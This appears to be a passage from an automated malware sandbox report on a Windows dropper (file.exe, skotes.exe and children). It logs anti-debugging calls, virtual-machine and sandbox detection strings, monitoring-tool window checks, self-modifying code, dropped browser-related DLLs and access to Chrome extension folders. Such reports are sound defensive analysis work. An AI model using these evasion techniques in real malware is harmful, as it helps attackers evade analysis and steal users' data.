Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51307A2 second address: 51307D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2EE4767542h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push edx 0x0000000e mov edi, ecx 0x00000010 pop ecx 0x00000011 mov cx, dx 0x00000014 popad 0x00000015 nop 0x00000016 jmp 00007F2EE476753Bh 0x0000001b sub esp, 1Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51307D9 second address: 51307DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51307DD second address: 51307E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 80E9F0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 80EAD9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9D5E0C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9C0CF5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A3BF88 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 51E9F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 51EAD9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6E5E0C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6D0CF5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 74BF88 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Special instruction interceptor: First address: 3CEA7C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Special instruction interceptor: First address: 56D4D9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Special instruction interceptor: First address: 5FBEE1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Special instruction interceptor: First address: 8FDA37 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Special instruction interceptor: First address: B2A3F1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Special instruction interceptor: First address: 67DCF9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Special instruction interceptor: First address: 67DDD8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Special instruction interceptor: First address: 82B63F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Special instruction interceptor: First address: 829DFD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Special instruction interceptor: First address: 83BD63 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Special instruction interceptor: First address: 10DCF9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Special instruction interceptor: First address: 10DDD8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Special instruction interceptor: First address: 2BB63F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Special instruction interceptor: First address: 2B9DFD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Special instruction interceptor: First address: 2CBD63 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Special instruction interceptor: First address: 682CC6 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Memory allocated: 2AE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Memory allocated: 2C60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Memory allocated: 4C60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Memory allocated: 78B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Memory allocated: 198B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2A20000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2BB0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 4BB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Memory allocated: 5320000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Memory allocated: 5380000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Memory allocated: 7380000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Memory allocated: 47D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Memory allocated: 4B30000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Memory allocated: 4950000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05180DC1 rdtsc

0_2_05180DC1

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Window / User API: threadDelayed 1155	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Window / User API: threadDelayed 2982	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5899	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3915	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Dropped PE file which has not been started: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\DiagTrack.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Dropped PE file which has not been started: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3844	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3844	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2736	Thread sleep count: 322 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2736	Thread sleep time: -9660000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3620	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3264	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3264	Thread sleep time: -102051s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2736	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 2140	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 2140	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 1852	Thread sleep count: 1155 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 1852	Thread sleep count: 2982 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 2140	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 2140	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 2140	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 2140	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 2140	Thread sleep time: -99422s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 2140	Thread sleep time: -99312s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 2140	Thread sleep time: -99203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 2140	Thread sleep time: -99093s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 2140	Thread sleep time: -98984s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 2140	Thread sleep time: -98875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 2140	Thread sleep time: -98765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 2140	Thread sleep time: -98655s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 2140	Thread sleep time: -98547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 2140	Thread sleep time: -98422s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 2140	Thread sleep time: -98312s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 2140	Thread sleep time: -98203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 2140	Thread sleep time: -98093s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe TID: 2140	Thread sleep time: -97983s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1272	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe TID: 3624	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe TID: 3084	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe TID: 3736	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe TID: 3616	Thread sleep time: -30015s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5356	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe TID: 7356	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 99422	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 99312	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 99203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 99093	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 98984	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 98875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 98765	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 98655	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 98547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 98422	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 98312	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 98203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 98093	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Thread delayed: delay time: 97983	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: skotes.exe, skotes.exe, 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmp, 0d8313073f.exe, 0000000D.00000002.2928434027.0000000000A7F000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.00000000015BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareG
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001632000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWc_
Source: Fwkdsz.exe, 00000007.00000002.2636511442.0000000001093000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 0000000E.00000003.2599747839.00000289EE0A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}ED
Source: firefox.exe, 00000020.00000002.2959187784.00000253DE338000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllh43
Source: firefox.exe, 00000020.00000002.2959187784.00000253DE2E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: Fwkdsz.exe, 00000007.00000002.2640122155.0000000002CF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: skotes.exe, 00000006.00000002.2934737174.0000000001578000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2934737174.00000000015A9000.00000004.00000020.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2800223657.0000000001171000.00000004.00000020.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2800223657.0000000001140000.00000004.00000020.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001632000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.00000000015BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Fwkdsz.exe, 00000007.00000002.2640122155.0000000002CF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: file.exe, 00000000.00000002.1704179638.0000000000992000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1734127491.00000000006A2000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1736207087.00000000006A2000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2923832942.00000000006A2000.00000040.00000001.01000000.00000007.sdmp, 0d8313073f.exe, 0000000D.00000002.2928434027.0000000000A7F000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.1678864647.0000000001296000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\=F
Source: Fwkdsz.exe, 00000007.00000002.2636511442.0000000001093000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllB
Source: 0d8313073f.exe, 0000000D.00000002.2940306745.0000000001603000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`]c

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05180B75 Start: 05180BD1 End: 05180B92

0_2_05180B75

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Process queried: DebugPort
